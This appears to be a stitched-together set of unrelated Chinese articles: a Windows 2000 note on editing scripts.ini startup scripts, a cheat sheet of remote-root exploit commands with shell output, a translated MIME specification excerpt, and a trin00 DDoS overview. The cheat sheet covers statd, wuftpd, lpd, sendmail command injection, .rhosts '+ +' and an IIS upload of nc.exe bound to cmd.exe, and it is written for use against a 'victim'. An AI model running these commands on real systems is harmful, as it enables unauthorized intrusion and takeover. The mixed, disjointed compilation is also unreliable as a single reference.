一.首先对注册表进行了跟踪,启动regmon工具后再启动本地安全策略mmc,编辑win2000开机启动/注销及用户登录/注销脚本配置信息,然后保存.然后将regmon检测到的信息保存并导入到一个mdb数据库中,足几分钟的时间足足有4000多条.使用sql查询语句将关于mmc的操作找了出来,一无所获!

二.只好又进行文件访问跟踪,心想这个办法即使跟踪出来如果是二进制文件那个是毫无用处!开启filemon,只监视c:\winnt下的访问.启动本地安全策略mmc,编辑win2000开机启动/注销及用户登录/注销脚本配置信息,然后保存.然后将filemon检测到的信息保存并导入到一个mdb数据库中,这次更多,有5000多条.使用sql查询语句将关于mmc的操作找了出来,mmc读写了许多个文件,因为我猜微软不可能将数据放到.dll中,因此将dll记录去掉后就剩下如下文件:

c:\winnt\system32\config\software.log
c:\winnt\system32\grouppolicy\gpt.ini
c:\winnt\system32\grouppolicy\machine\registry.pol
c:\winnt\system32\grouppolicy\user\registry.pol
c:\winnt\system32\grouppolicy\adm\conf.adm
c:\winnt\system32\grouppolicy\adm\inetres.adm
c:\winnt\system32\grouppolicy\adm\system.adm
c:\winnt\security\templates\scta0.tmp
c:\winnt\system32\grouppolicy\machine\scripts\scripts.ini
c:\winnt\system32\grouppolicy\user\scripts\scripts.ini

将这些文件一个一个看过来,哈哈!苍天不负有心人,终于被我找到了!原来win2000将win2000开机启动/注销及用户登录/注销脚本配置信息分别保存在scripts.ini文件中,其中开机启动/注销脚本信息保存在c:\winnt\system32\grouppolicy\machine\scripts\scripts.ini文件中,用户登录/注销脚本配置信息c:\winnt\system32\grouppolicy\user\scripts\scripts.ini中,这些是针对本地安全策略而言.如果是域内的策略,那这些信息分别保存在"\\dc\sysvol\域\policies\策略guid\machine\scripts\scripts.ini"和"\\dc\sysvol\域\policies\策略guid\user\scripts\scripts.ini"中.

三.scripts.ini文件的格式
scripts.ini可以使用文本编辑器编辑,如记事本等.
其格式根据是用户脚本还是计算机脚本的不同而不同,如下:
1.用户脚本
里面按通常.ini文件格式,通常有两段数据,[logoff]和[logon].[logoff]是用户注销时运行的脚本,[logon]下是用户登录时运行的脚本.每段内容格式相同,类似于:

[logoff]
0cmdline=aa.vbs
0parameters=aa
1cmdline=aa1.vbs
1parameters=aa1
[logon]
0cmdline=bb.vbs
0parameters=bb

cmdline表示脚本的命令行,前面的数据表示这是第几个脚本,以0开始,因为在可以同时使用多个脚本的.上面的例子中用户注销时就运行两个脚本aa.vbs和aa1.vbs.
parameters表示运行这个脚本的参数,前面的数字与上同,参数是可选的.

2.计算机脚本
里面按通常.ini文件格式,通常有两段数据,[startup]和[shutdown],分别是计算机启动和关机时运行的脚本每段内容格式相同.类似于:

[startup]
0cmdline=e:\zqs2002.vbs
0parameters=zhuqs
[shutdown]
0cmdline=shut.vbs
0parameters=

上面的例子表示当计算机启动时运行脚本e:\zqs2002.vbs,参数是zhuqs.当计算机关机时,运行shut.vbs脚本,这个脚本没有路径,系统会到c:\winnt\system32\grouppolicy\machine\scripts\shutdown去找.

四.总结
到此,脚本问题基本解决,我们可以手工改写这个配置文件,以满足我们的需要了.比如修改管理员密码等.


对已知LINUX和NT入侵的若干方法(工具使用)

redhat 7.0 入侵 (remote root)

redcrack$gcc -o seclpd seclpd.c
redcrack$./SEClpd victim brute -t type
redcrack$./SEClpd victim -t 0 (then try the brute)
redcrack$/.SEClpd viction -t 1(you can )

you can use :lpd-ex.c rdc-lprng.c ypbind.tgz
you can find them in go.163.com/~redcrack/EXPLOITS/OS/LINUX/REDHAT/7.0/index.html

redhat 6.2 入侵(remote root)
redcrack$gcc -o statdx statdx.c
redcrack$statdx -d 0 victim
redcrack$statdx -d 1 victim(you can)

redcrack$gcc -o inndx inndx.c
redcrack$inndx [command [offset]]|nc -i 1 victim 119

redhat 6.1 入侵(remote root)
redcrack$gcc -o statdx statdx.c
redcrack$statdx -d 0 victim
redcrack$statdx -d 1 victim(you can)

另一种方法wuXploit.tgz 通过wuftpd
[wildcoyote@userfriendly wuXploit]$ ls -l
total 13
-rw-r--r-- 1 wildcoyo wildcoyo 1473 Jun 27 18:22 backdoor.c <- evil BD
-rw-rw-r-- 1 wildcoyo wildcoyo 86 Jun 27 18:29 own.sh <- script
-rwxr-xr-x 1 wildcoyo wildcoyo 7037 Jun 27 19:29 readme.txt <- Thiz file
-rwxr-xr-x 1 wildcoyo wildcoyo 5661 Jun 27 19:28 wuXploit.c <- tha c0d3
[wildcoyote@userfriendly wuXploit]$
上载文件
[wildcoyote@userfriendly wuXploit]$ ftp biatx
Connected to biatx.userfriendly.
220 biatx.userfriendly FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999) ready.
Name (biatx:wildcoyote): wildcoyote
331 Password required for wildcoyote.
Password:
230 User wildcoyote logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd /tmp
250 CWD command successful.
ftp> put own.sh
local: own.sh remote: own.sh
200 PORT command successful.
150 Opening BINARY mode data connection for own.sh.
226 Transfer complete.
86 bytes sent in 0.0158 secs (5.3 Kbytes/sec)
ftp> put backdoor.c
local: backdoor.c remote: backdoor.c
200 PORT command successful.
150 Opening BINARY mode data connection for backdoor.c.
226 Transfer complete.
1473 bytes sent in 0.00749 secs (1.9e+02 Kbytes/sec)
ftp> quit
221-You have transferred 1559 bytes in 2 files.
221-Total traffic for this session was 2175 bytes in 2 transfers.
221-Thank you for using the FTP service on biatx.userfriendly.
221 Goodbye.
编译
[wildcoyote@userfriendly wuXploit]$ cc wuXploit.c -o wuXploit
[wildcoyote@userfriendly wuXploit]$
[wildcoyote@userfriendly wuXploit]$ ./wuXploit

WuFtpd Remote/Local Exploit by wildcoyote@coders-pt.org

Sintaxe: ./wuXploit <login> <password> <dir> <host> [wuftp port] [backdoor port]
[wildcoyote@userfriendly wuXploit]$ ./wuXploit wildcoyote password /tmp biatx

WuFtpd Remote/Local Exploit by wildcoyote@coders-pt.org

Trying to connect to biatx[21]...SUCCESSFULL
Sending username (wildcoyote)...DONE
Sending password (**********)...DONE
SYST...DONE
TYPE I...DONE
Changing dir to /tmp...DONE
Setting up'evil'code :[ ...DONE
Compiling/Running backdoor...DONE
Let's delete the EVIL'entry :[ ...DONE
Oh k! It's a WRAP
Checking if tha backdoor is up...
Connecting to biatx [5343]...SUCCESS
Tha backdoor is running!
Dr@@ping you to tha own3d shell...
Start typing dewd
id
uid=500(wildcoyote) gid=500(wildcoyote) groups=500(wildcoyote)

ls -l
total 19
-rwxr-xr-x 1 wildcoyo wildcoyo 13572 Jan 1 00:41 backdoor
-rw-r--r-- 1 wildcoyo wildcoyo 1215 Jan 1 00:41 backdoor.c
drwx------ 2 wildcoyo wildcoyo 1024 Jun 25 2000 orbit-wildcoyote
-rw-rw-r-- 1 wildcoyo wildcoyo 86 Jan 1 00:41 own.sh

exit
The connection was closed!
Exiting...
~~~~
通过qib
redcrack$gcc -o qib qib.c
redcrack$ ./qib <local ip to use> <host to attack> <printer name> <sendmail cfgfile> <csh script to run>
redcrack$/qib 10.0.0.50 10.0.0.69 lp0 poopmail.cf dffunkyscript

redcrack$ telnet 10.0.0.69 26092
Trying 10.0.0.69...
Connected to 10.0.0.69.
Escape character is '^]'.
bash$ cat /etc/issue
cat /etc/issue

Red Hat Linux release 6.0 (Hedwig)
Kernel 2.3.25 on an i686

bash$
bash$ id
id
uid=1(bin) gid=0(root) groups=0(root)
bash$
bash$

redhat 6.0 入侵 (remote root)
redcrack$gcc -o statdx statdx.c
redcrack$statdx -d 0 victim
redcrack$statdx -d 1 victim(you can)
通过amd入侵
redcrack$amd-ex <hostname> <command> [offset]
通过pro入侵
redcrack$ cc pro.c -o pro
redcrack$ pro 1.1.1.1 ftp.linuz.com /incoming
通过rpmmail入侵
redcrack$ telnet (host) 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999
MAIL FROM: ;/command/to/execute;
250 <;/command/to/execute;> ... Sender Okay
RCPT TO: rpmmail
250 ... Recipient Okay
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit

Sendmail 8.9.3 + RPMmail
redcrack$ telnet (host) 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 dhcp-160-190.x.x ESMTP Sendmail 8.9.3/8.9.3; Wed, 6 Oct 1999
helo x.x
250 dhcp-160-190.x.x Hello IDENT:nhaniff@localhost
[127.0.0.1], pleased to meet you
MAIL FROM: ;/command/to/execute;@microsoft.com
250 <;/command/to/execute;@microsoft.com> ... Sender Okay
RCPT TO: rpmmail
250 ... Recipient Okay
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit

redcrack$ telnet localhost 25

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 dhcp-160-190.x.x ESMTP Sendmail 8.9.3/8.9.3
helo x.x
250 dhcp-160-190.x.x Hello IDENT:nhaniff@localhost
[127.0.0.1], pleased to meet you
MAIL FROM: ;/command/to/execute;@microsoft.com
250 ;/command/to/execute;@microsoft.com... Sender ok

redhat 5.2 入侵 (remote root)
通过amd入侵
redcrack$amd-ex <hostname> <command> [offset]

通过mount / (everyone)入侵
redcrack$ mount 69.69.69.69:/ /mnt
% cd /mnt;
% echo "+ +" > .rhosts
% rlogin 69.69.69.69 -l root
通过NAMED入侵
redcrack$./rotshbnamed <host> <attack type>
通过 X SERVERS入侵
xwd -display host.with.open.server:0 -root > distance.xwd &

WINNT 远程入侵
vwxploit.c
redcrack$ vwxploit <host> <port> <port to bind shell> <version>
redcrack$ vwxploit host.com 25 1234 3.23

unitools.tar.gz
1. Find the webroot (duh)- let say its f:\the web pages\theroot
2. perl unicodeloader target:80 'f:\the web pages\theroot'
3. surf to target/upload.asp and upload nc.exe
4. perl unicodexecute3.pl target:80 'f:\the web pages\theroot\nc -l -p 80 -e cmd.exe'
5. telnet target 80

msadc.pl
redcrack$ msadc.pl -h <host> { -d <delay> -X -v }


多用途Internet邮件扩展(MIME)规范说明：消息体的格式

1. 介绍

通常的邮件格式于1982年出现以来，它已经被广为使用，在使用的过程中，一些不足之处也开始暴露出来。通常的电子邮件是一种文本格式的消息，这样一来，一些非文本的信息，如多媒体信息就无法传送；就算在文本方面，这种文件格式在传送非ASCII码的文本时也有些不足。

原来邮件协议的一个重大的不足在于，它限制文本的内容是一行内容相应比较短的7位ASCII码。这带来了许多麻烦。这个不足在网关允许在通常的电子邮件主机和X.400主机之间通信后变得更加突出，X.400指定了一种发送非文本内容电子邮件的机制，将X.400发向通常的电子邮件主机时，要么把内容转换成IA5Text格式，或者抛弃，并同时通知接收者有信息在传送中被丢弃。

本文主要描述一些机制可以解决上述问题，特点地它描述了MIME版本头域，内容类型头域，内容传送编码头域和用于描述文件内容的两个头域。在阅读此文档时可能有些地方您会觉得非常怪，这是为了照顾到和不同的版本进行兼容而不得不这样。

2. 定义、惯例和基本BNF语法

本文中的所有参数和名称均是大小写敏感的。对于BNF语法不熟悉的请参阅其它资料。

2.1. CRLF

CRLF指回车和换行的组合，也就是十进制13加上10的组合。如果不熟悉ASCII码，请您自己查询有关资料。这里不再详细说明了。 2.2. 字符集

用在MIME中的字符集指的是将和一种字符序列转换为另一种字符序列的方法。请注意：这里指的是单向的转换，不需要将转换过的序列再无误地转换回来。这种定义允许不同的字符编码用作字符集，但是与MIME字符集名相关的定义必须完全指定所要进行的转换（映射）操作。

2.3. 消息

在没有特别说明的它指文件内容包括的内容。

2.4. 实体

实体指的是MIME定义的域和消息的内容或多部分实体的内容的一部分。这是MIME的精华之所在。实体的内容通常称为体。域的任何类型都可以在实体中出现，但是只有以"content-"开头的才有与MIME相关的意义，这并不说明它们没有意思。

2.5. 体部分

体部分指的是在多部分实体内的一个实体。

2.6. 体

这个名词指的是一个实体的体部分。请注意：上面四个定义是循环的，这是不可避免的，因为MIME消息本身就是循环定义的。

2.7. 7bit数据

7bit数据指的是两个CRLF之间的字符数少于998，而且每个字符不大于127。回车和换行只用作分隔之用。

2.8. 8bit数据

7bit数据指的是两个CRLF之间的字符数少于998，而且每个字符可以大于127。回车和换行只用作分隔之用。

2.9. 二进制数据

二进制数据指不限制数据的大小。 2.10. 行

所谓行就是两个CRLF之间的字符序列。

3. MIME头域

MIME定义了一些新的头域用来描述MIME体的内容。这些头域发生在以下两种情况下：

(1) 作为通常邮件内容的一部分；

(2) 在一个MIME体部分头中；

以下是这些头域的通常定义：

entity-headers := [ 内容 CRLF ] [ 编码 CRLF ] [ id CRLF ] [ 描述CRLF ] *( MIME扩展域CRLF )

MIME-message-headers := entity-headers fields

版本 CRLF //BNF表示中的顺序在这里不起作用；

MIME-part-headers := entity-headers [ fields ] //BNF表示中的顺序在这里不起作用；未以"content-"开头的域忽略

不同的特定的MIME头域在下面会加以说明。

4. MIME版本头域

因为通常的邮件格式一直是作为邮件唯一的格式被使用的，因此也没有什么标准可言，这里说明的规范与通常的邮件格式没有什么关系，因此也就定义了一个新的头域"MIME-Version"，它是用来声明使用的Internet消息体格式标准版本的。根据本文生成的文档必须包括这样的头域内容：

MIME-Version: 1.0

因为以后的标准可能会为本文所描述的标准有所扩展，所以版本域的格式如下定义：

version := "MIME-Version" ":" 1*DIGIT "." 1*DIGIT

如果接收到的版本号小于1.0，它所遵守的标准不是本文所描述的标准。这个头域必须包括在消息的头部，但是对于多部分体的每个体部分就不是非要不可了。本文不对未来的标准作出规定。MIME内可以包括不同格式的文件，这些格式可以有不同的版本，这些版本号和我们上面的版本号可不是一回事，这些版本号在媒介格式内指定，如果一定要指定媒介版本号，这些媒介格式可以用"version"参数指定。

实现者请注意：下面三种格式是等效的：

MIME-Version: 1.0

MIME-Version: 1.0 (produced by MetaSend Vx.x)

MIME-Version: (produced by MetaSend Vx.x) 1.0

MIME-Version: 1.(produced by MetaSend Vx.x)0

如果没有MIME版本域，接收方可以根据自己的方法解释消息体。但这样做可能导致文件内容显示时有问题，因为对方传送过来的可能是压缩文件，而直接压缩文件则是根本不可读的。

5. 内容类型头域

本域的目的就是使接收方能够正确识别内容作相应的操作把内容以合适的方式提交给用户。本域中的值称为媒介类型。

这个域指定实体内体的数据属性。它给出媒介类型和子类型标记，还提供一些辅助的参数信息，在媒介类型和子类型名后是一些参数，这些参数是以“属性=值”的形式给出，参数的顺序没有关系。

通常顶级媒介类型用于声明数据的通常类型，而子类型指出这种数据类型的特定格式。因此，如下格式的说明"image/xyz"足以向用户说明传送的数据是一幅图，既然用户根本不知道这个后面的XYZ是个什么东西也没有关系。这对于用户来说是很重要的，因为用户知道了类型以后可以根据类型采取相应的行动，不会把一幅图当文本显示出来。如果数据有多个类型，应该使用"multipart"或"application"声明。

参数并不影响类型的内容，是什么还是什么，因此参数集只有相对于某种特定的类型和子类型时才有意义。主类型和子类型都有自己的参数，有的参数是必须的，有的是可选的，MIME必须忽略不能识别的参数。例如："charset"参数用于所有"text"的子类型，而"boundary"对于"multipart"类型的子类型是必须的。在MIME中没有可以用于所有类型的参数。

MIME的类型和每个类型下的子类型请参阅其它资料，这里就不一一说明了。只要大家注意一下，有两种混合类型需要特别处理一下。

顶级媒介类型是安全的，如果需要添加新的文件，只需要在相应的顶级类型下添加新的子类型即可。当然，未来可能会添加新的顶级类型，但那也是对本文档的扩展。如果用户真需要自己的顶级类型，请以"X-"开始以说明这不是一个标准的顶级类型。

5.1. 内容类型头域语法

content := "Content-Type" ":" type "/" subtype *(";" parameter)

//类型与子类型对大小写敏感；

type := discrete-type / composite-type

discrete-type := "text" / "image" / "audio" / "video" / "application" / extension-token

composite-type := "message" / "multipart" / extension-token

extension-token := ietf-token / x-token

ietf-token := <在IANA注册的扩展标记或由RFC定义的扩展标记>

x-token := <以"X-"或"x-"开始的字符串，请注意在"X-"或"x-"后面不能有空格>

subtype := extension-token / iana-token

iana-token := <标准定义的扩展标记>

parameter := attribute "=" value

attribute := token //对大小写敏感；

value := token / quoted-string

token := 1*<任何ASCII码，除了空格控制字符和tspecials>

tspecials := "(" / ")" / "<" / ">" / "@" / "," / ";" / ":" / "\" / <"> "/" / "[" / "]" / "?" / "="

"tspecials"的定义比标准邮件协议中多了"/"，"?"和"="，少了"."，另外，子类型不能为空，不存在默认的子类型。类型，子类型和参数对大小写不敏感。参数通常对大小写敏感。请注意：下面两个是完全等效的：

Content-type: text/plain; charset=us-ascii (Plain text)

Content-type: text/plain; charset="us-ascii"

这个语法中没有体现出来的限制就是，子类型名不能冲突。自己定义的类型名必须以"X-"开始，而且接收方和发送方都必须理解这个类型的意义是什么，而且能够做出适当的处理。

5.2. 内容类型默认值

默认的标准电子邮件信息（内容只是ASCII码）不以MIME内容类型头开始，这可以说成是内容的默认值吧，如果非要用MIME进行说明，那么说明如下：

Content-type: text/plain; charset=us-ascii

如果内容的规定有冲突也使用默认值，只有MIME版本头域而没有任何内容类型头域时，接收方也认为它是普通的ASCII字符集信息。如果没有MIME版本时，也要使用默认值。

6. 内容传送编码头域

许多可以通常电子邮件传送的媒介类型可以以8bit字符或二进制数据传送。这样的数据可以在一些传输协议上进传送。我们应该注意，通常的电子邮件协议（SMTP）限制邮件内容为7位数据，而且每行不得多于1000个字符，每行必须以CRLF结束。

因为有必须定义一种机制用于将类似的数据编制为7位短行格式。正确标准未编码的信息为限制较少的格式（以供直接传送）也十分必要。本文说明“内容传送编码”头域达到这一功能。 6.1. 内容传送编码语法

encoding := "Content-Transfer-Encoding" ":" mechanism

mechanism := "7bit" / "8bit" / "binary" / "quoted-printable" / "base64" / ietf-token / x-token

以上的数值不区别大小写。7位编码是默认值。

6.2. 内容传送编码语义

这个单独的内容传送编码实际上提供两种信息，它指出内容进行了什么编码，也指出了解码应该进行什么操作。请注意：对有效编码方式解码器没有什么限制。现在定义了三种传送方式：标记式编码，"quoted-printable"编码和"base64"编码。域有二进制，8位和7位三种。

内容传送编码值7位，8位和二进制都指使用标记式编码传送方式。因此，它们说明了体数据大概是什么样的东西，同时也提供了关于在给定传送系统中传送的所需要的编码类型。quoted-printable类型和base64类型传送的数据编码属于7位范围，这使得这两种编码方式能够在要求严格的传送协议上进行传送。

必须使用正确的内容传送编码标记。不能把包括8位数据的信息标记为7位，也不能标记为其它类型（二进制除外）。在编码的时候要注意传送效率和可读性的平衡。因为这个原因，需要两种编码方式：quoted-printable编码和base64编码方式。原来的邮件中不能包括二进制数据，但是随着包括MIME在内的其它邮件传送方式的广泛使用，二进制数据已经进入了邮件中。这也就是我们现在为什么能够使用电子邮件传送图画和其它二进制文件的原因了。

注意：内容传送编码域中的值不代表内容是什么东西，它只表示对内容的编码方式或传送系统要求的编码方式。

6.3. 新内容传送编码

如果用户需要实现自己规定的编码方式，必须在前面加上"X-"，表明这不是一个标准的编码方式，不要轻易使用自己规定的编码方式。

6.4. 解释与使用

如果内容传送头域作为消息头的一部分，那它对整个消息体起作用；如果它只在实体中的头中出现，它的作用域就只是这个实体。如果实体的是"multipart"类型，内容传送头域只能是"7bit"，"8bit"或"binary"三种。

应该注意大部分的媒介类型以字节定义而不是以位定义，所以这里定义的编码方式均是以面向字节的，而不是面向位的。如果需要通过这些机制编码位流，必须先转换为8位字节流，不足8位的要以填充位填充。本文中默认的编码方式是对ASCII码的，所以当您看到下面的叙述：

Content-Type: text/plain; charset=ISO-8859-1

Content-transfer-encoding: base64

它指的是源文件是ISO-8895-1类型的，而编码方式为base64。内容传送编码和媒介类型有搭配关系，不要混用，特别是对于混合型文件不要便用除"7bit"，"8bit"或"binary"以外的编码方式。

不要让只需要7位编码的数据应用8位编码对传送系统造成不必要的负担，也不要把本应该以8位编码编码的数据应用了7位编码，这样就会造成数据错误。如果内容传送编码不可理解，一般它会被看作"application/octet-stream"。

6.5. 转换编码

quoted-printable和base64可以相互转换，转换时唯一应该考虑的问题就是在quoted-printable中的回车换行，quoted-printable中的回车换行必须转换为标准的base64回车换行；同样，base64中的回车换行必须转换为quoted-printable中的回车换行。

6.7. Quoted-Printable内容传送编码

Quoted-Printable编码的大部分和用于表示的数据一般和可打印的ASCII码数据差不多。这种编码方式可以使信件内容不会邮件传送机制更改。如果数据被编码后仍然大部分是ASCII码，那么人还能够认出大部分内容。

在这种编码方式中有以下规则：

(1) （通常8位表示）任何字节（除了回车符和换行符）都可以用"="加上字节的数值加以表示。应该使用十六进制数表示："0123456789ABCDEF"，请注意，一定要使用大定字母。除了以下两种情况，通常情况下都应用这个规则。 (2) （直接表示）如果字节的十进制数值在33至60，或在62至126之间，可以直接以数数值相等的ASCII码表示。

(3) （空格类）ASCII码9和32分别是制表符（TAB）和空格（SPACE），这些字符不能直接在编码行中出现。它们必须跟着一个可打印的字符。特别的，在编码行未尾的"="指示一个软回画，在其后可以跟一个或多个TAB或SPACE。其它情况下对空格类字符的编码请遵守规则（1）进行，这是因为有些MTA（消息传送代理）可能把句子未尾的空格和其它空格类字符给删除了。

(4) （回车类）文本中的硬回车符在Quoted-Printable编码中也有。因为除了文本以外其它的媒介一般不会用CRLF当回车符。

(5) （软回车类）Quoted-Printable编码要求编码行不的长度不得多于76个字符，如果编码行实在太长，必须使用软回车。看看下面的例子：

如果源数据为：Now's the time for all folk to come to the aid of their country.那么编码出的数据应该为：

Now's the time =

for all folk to come=

to the aid of their country.

76个字符中不包括尾部的CRLF，但是包括编码行中的等号。

因为连线符可以自已代表自己，而边界标记中也有这个东西，所以一定要小心，不要让用户方误以为体中的一个连线符"-"是边界标记。

请注意：quoted-printable编码方式是在可读性和可靠的传送之间取了一个平衡，它在大部的邮件网关上工作正常，但是有一些邮件网关却不行，如EBCDIC网关，为了能够与这些网关一起正常工作，最好把“!"#$@[\]^`{|}~”应用规则1进行编码。因为quoted-printable数据是面向行的，如果不同的邮件系统有不同的表示回车换行的标准的话，就要小心了，如果确实因为回车换行的问题破坏了数据，最好使用base64编码。

对于二进制数据应用quoted-printable编码，要特别注意CRLF和CR，LF的问题。还应该注意对方平台上对CRLF的解释规则。下面列出了quoted-printable数据的语法：

quoted-printable := qp-line *(CRLF qp-line)

qp-line := *(qp-segment transport-padding CRLF) qp-part transport-padding

qp-part := qp-section //最大长度76个字符；

qp-segment := qp-section *(SPACE / TAB) "=" //最大长度76个字符；

qp-section := [*(ptext / SPACE / TAB) ptext]

ptext := hex-octet / safe-char

safe-char := <数值在33至60，62至126之间的字符>

hex-octet := "=" 2(DIGIT / "A" / "B" / "C" / "D" / "E" / "F")

transport-padding := *LWSP-char

不允许在元素之间加入LWSP。

6.8. Base64内容传送编码

Base64内容传送编码所应用的数据通常不是让人直接读的，而编码和解码的算法一般也比较简单，编码后的数据比编码前大33%。它使用了ASCII码的子体，用6位代表可打印字符，第65个字符"="用于指定特定的处理函数。请注意，这个子集有一个重要的特点，它在所有版本的ISO 646中都是一样的。有一些流行的编码方式如Macintosh的binhex 4.0和base85编码没有这个性质。

24位的输入组经编码后成为4个字符的输出。从左至右，24位的输入可以由3个8位的输入组合并而成。这24为被当作4个6位的组，每个组的数据根据base64字母对应表转换一个数。当位流通过base64编码后，位流变为最高位优先，也就是说，流中的第一个位成为8位字节中的最高位，而第8位则成为第一个8位字节的最低位。

表1：Base64字母对应表

0
A
17
R
34
i
51
z

1
B
18
S
35
j
52
0

2
C
19
T
36
k
53
1

3
D
20
U
37
l
54
2

4
E
21
V
38
m
55
3

5
F
22
W
39
n
56
4

6
G
23
X
40
o
57
5

7
H
24
Y
41
p
58
6

8
I
25
Z
42
q
59
7

9
J
26
a
43
r
60
8

10
K
27
b
44
s
61
9

11
L
28
c
45
t
62
+

12
M
29
d
46
u
63
/

13
N
30
e
47
v

14
O
31
f
48
w
(pad)
=

15
P
32
g
49
x

16
Q
33
h
50
y

编码输出流中行的长度不得大于76个字符。所有回车换行符或其它未在上表中定义的字符会被解码软件忽略。如果在编码中确实出现了不属于上表中的数据，这说明传送中有错误，要给出警告信息，或者（在某种情况下）拒绝接收。 当输入少于24位时，会有一个特殊的处理。0位被添加到最右端，以形成完整的6位组。使用“=”在尾部添加数据。因为所有的base64数据都是完整的8位，所以只会发生以下情况：（1）输入是24的倍数，则输出将是4个字符的倍数，这时不需要用“=”添加。（2）输入的最尾是8位，则输出的最尾是两个字符外加两个“=”添加符。（3）输入的最尾是16位，则输出的最尾是3个字符，外加一个“=”添加符。

因为“=”只用于添加数据，所以“=”的出现可以被看作到了数据的最末。但是也可能没有这种情况，如成熟传输的数据是3的倍数。

任何不属于上面表中字符的数据不被认为是base64编码数据。在文本没有被转换为标准格式前对它应用base64编码时要注意对回车换行的处理。文本中的回车换行符应该在进行编码前转换为CRLF。另外请注意：在base64编码中不必关心连字符，因为编码中根本不会出现连字符。

7. 内容ID头域

在建立高层用户代理时，可能希望体之间产生关联，因此体可以使用内容ID头域，它的语法如下：

id := "Content-ID" ":" msg-id

象消息ID值一样，它必须是全世界唯一的。内容ID值在代理服务器缓存体数据时特别有用，虽然它的应用是可选的，但是如果MIME媒介类型是"message/external-body"的话，它是必选的。应该特别注意的是内容ID值对multipart/alternative类型有特殊的语义。

8. 内容描述头域

使给定的体附加一些描述信息是很有好处的，于是有了这个可选的内容描述头域，它的语法如下：

description := "Content-Description" ":" *text

一般来说，描述内容只能是ASCII码，当然也可以是非ASCII内容（要当心有的系统不支持）。

9. 附加MIME头域

在将来可以会定义新的MIME头域，任何新的头域必须以"Content-"开始。

MIME-extension-field := <以"Content-"开始的任何头域>


分布式D.O.S

该攻击方式称为分布式D.O.S(Distributed Denial Of Service)攻击。国外一些高性能的商业网络和教育网络遭受到了这种攻击。它利用攻击者已经侵入并控制的主机（可能是数百台），对某一单机发起攻击。在悬殊的带宽力量对比下，被攻击的主机会很快失去反应。这种攻击方式被证实是非常有效的，而且非常难以抵挡。
    一般的人比较难以顺利实现这些攻击。因为攻击者必须熟悉一些入侵技巧。出现在一些黑客网站上的两个已知工具可以帮助实现这种攻击。它们是trin00和Tribe Flood Network。源代码包的安装使用过程是比较复杂的，因为编译者首先要找一些internet上有漏洞的主机，通过一些典型而有效的远程溢出漏洞攻击程序，获取其系统控制权，然后在这些机器上装上并运行分布端的攻击守护进程，下面简单地介绍一下trin00的结构：
trin00由三部分组成：
1、客户端
2、主控端(master)
3、分布端(broadcast)---攻击守护进程
------------------------------------
1、客户端可以是telnet之类的常用连接软件，客户端的作用是向主控端(master)发送命令。它通过连接master的27665端口，然后向master发送对目标主机的攻击请求。
2、主控端(master)侦听两个端口，其中27655是接收攻击命令，这个会话是需要密码的。缺省的密码是"betaalmostdone"。master启动的时候还会显示一个提示符："??"，等待输入密码。密码为 "gOrave"，另一个端口是31335，等候分布端的UDP报文。
在7月份的时候这些master的机器是:
129.237.122.40
207.228.116.19
209.74.175.130
3、分布端是执行攻击的角色。分布端安装在攻击者已经控制的机器上,分布端编译前植入了主控端master的IP地址，分布端与主控端用UDP报文通信，发送到主控端的31355端口，其中包含"*HELLO*"的字节数据。主控端把目标主机的信息通过27444 UDP端口发送给分布端，分布端即发起flood攻击。
攻击者-->master-->分布端-->目标主机
通信端口：
攻击者 to Master(s): 27665/tcp
Master to 分布端: 27444/udp
分布端 to Master(s): 31335/udp
    从分布端向受害者目标主机发送的D.O.S都是UDP报文，每一个包含4个空字节，这些报文都从一个端口发出，但随机地袭击目标主机上的不同端口。目标主机对每一个报文回复一个ICMP Port Unreachable的信息，大量不同主机发来的这些洪水般的报文源源不断，目标主机将很快慢下来，直至剩余带宽变为0。
DDos式攻击的步骤
    透过寻常网路(网络)连线，使用者传送讯息要求服务器予以确认。服务器于是将连线许可回传给使用者。使用者确认后，获准登入服务器。
    但在“拒绝服务”式攻击的情况下，使用者传送众多要求确认的讯息到服务器，使服务器充斥这种垃圾讯息。所有的讯息都附上捏造的地址，以至于服务器设图回传确认许可时，无法找到使用者。服务器于是暂时等候，有时超过一分钟，然后再切断连线。服务器切断连线时，骇客再度传送新一波佯装成要求确认的讯息，再度启动上述过程，导致服务器无法动弹，服务无限期停摆。这种攻击行动使网站服务器充斥大量要求答覆的讯息，导致系统不胜负荷以至于当机。
这种分布式拒绝服务攻击示意图如下：
                      *----------*
                      | |
                      | 攻击者 |
                      | |
                      *----------*
                       |
                       |
                      *----------*
                      | |
                      | 主控端 |
                      | |
                      *----------*
                       |
(指挥各个分节点进行攻击)
                       |
       *------------*------*------*------------*
       | | | |
       | | | |
     v v v v
*----------* *----------* *----------* *----------*
| | | | | | | |
| 代理端 | | 代理端 | | 代理端 | | 代理端 |
| | | | | | | |
*----------* *----------* *----------* *----------*
         / /
       / /
           / /
                (大量的垃圾数据包进行攻击)
       / /
             / /
               / /
               V V V V
               *-----------------------*
               | |
               | 被攻击服务器 |
               | |
               *-----------------------*
根据网络通讯异常现象监测分布式拒绝服务攻击
    许多人或工具在监测分布式拒绝服务攻击时常犯的错误是只搜索那些DDoS工具的缺省特征字符串、缺省端口、缺省口令等。要建立网络入侵监测系统（NIDS）对这些工具的监测规则，必须着重观察分析DDoS网络通讯的普遍特征，不管是明显的，还是模糊的。
    DDoS工具产生的网络通讯信息有两种：控制信息通讯（在DDoS客户端与服务器端之间）和攻击时的网络通讯（在DDoS服务器端与目标主机之间）。
根据以下异常现象在网络入侵监测系统建立相应规则，能够较准确地监测出DDoS攻击。
    异常现象0：虽然这不是真正的"DDoS"通讯，但却能够用来确定DDoS攻击的来源。根据分析，攻击者在进行DDoS攻击前总要解析目标的主机名。BIND域名服务器能够记录这些请求。由于每台攻击服务器在进行一个攻击前会发出PTR反向查询请求，也就是说在DDoS攻击前域名服务器会接收到大量的反向解析目标IP主机名的PTR查询请求。
    异常现象1：当DDoS攻击一个站点时，会出现明显超出该网络正常工作时的极限通讯流量的现象。现在的技术能够分别对不同的源地址计算出对应的极限值。当明显超出此极限值时就表明存在DDoS攻击的通讯。因此可以在主干路由器端建立ACL访问控制规则以监测和过滤这些通讯。
